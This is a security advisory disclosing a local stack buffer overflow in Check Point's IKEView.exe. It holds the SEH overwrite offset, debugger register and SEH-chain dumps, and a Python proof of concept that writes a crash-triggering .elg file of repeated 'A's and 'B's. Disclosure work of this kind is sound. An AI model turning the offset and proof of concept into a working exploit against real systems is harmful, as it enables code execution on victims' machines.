[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-CP_IKEVIEW-0911.txt



Vendor:
================================
www.checkpoint.com



Product:
================================
IKEView.exe Fox beta 1

IKEVIew.EXE is used to inspect - internet private key exchanges on the Firewall
phase(1 & 2) packets being exchanged with switches and gateways.



Vulnerability Type:
======================
Stack Buffer Overflow



CVE Reference:
==============
N/A



Vulnerability Details:
=====================
IKEView.exe is vulnerable to local stack based buffer overflow when parsing
an malicious (internet key exchange) ".elg" file.
Vulnerability causes nSEH & SEH pointer overwrites at 4448 bytes after
IKEView parses our malicious file, which may result then
result in arbitrary attacker supplied code execution.


quick GDB register dump:
------------------------

EAX 00000000
ECX 41414141
EDX 7774B4AD ntdll.7774B4AD
EBX 00000000
ESP 0018E0E0
EBP 0018E100
ESI 00000000
EDI 00000000
EIP 41414141
C 0 ES 002B 32bit 0(FFFFFFFF)
P 1 CS 0023 32bit 0(FFFFFFFF)
A 0 SS 002B 32bit 0(FFFFFFFF)
Z 1 DS 002B 32bit 0(FFFFFFFF)
S 0 FS 0053 32bit 7EFDD000(FFF)
T 0 GS 002B 32bit 0(FFFFFFFF)
D 0
O 0 LastErr ERROR_SUCCESS (00000000)

-----------SEH Chain---------

0:000> !exchain
0018f870: 42424242
Invalid exception stack at 41414141
0:000>
0018f870: 42424242
Invalid exception stack at 41414141
0:000>

0018F868 |02004AE0 àJ. ASCII "File loaded in 08 minutes, 01 seconds."
0018F86C |41414141 AAAA
0018F870 |41414141 AAAA Pointer to next SEH record
0018F874 |42424242 BBBB SE handler


Quick Buffer Overflow POC :
===========================


1) Below python file to create POC save as .py it will generate POC file,
open in IKEView.exe and KABOOOOOOOOOOOOOOOOOOOOM!

seh="B"*4 #<----------will overwrite SEH with bunch of 42's HEX for 'B'
ASCII char.

file="C:\\IKEView-buffer-overflow.elg"
x=open(file,"w")
payload="A"*4444+seh
x.write(payload)
x.close()

print "\n=======================================\n"
print " IKEView-buffer-overflow.elg file created\n"
print " hyp3rlinx ..."
print "=========================================\n"



Exploitation Technique:
=======================
Local



Severity Level:
=========================================================
High



Description:
==========================================================


Vulnerable Product: [+] IKEView.exe Fox beta 1


Vulnerable File Type: [+] .elg


Affected Area(s): [+] Local OS


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx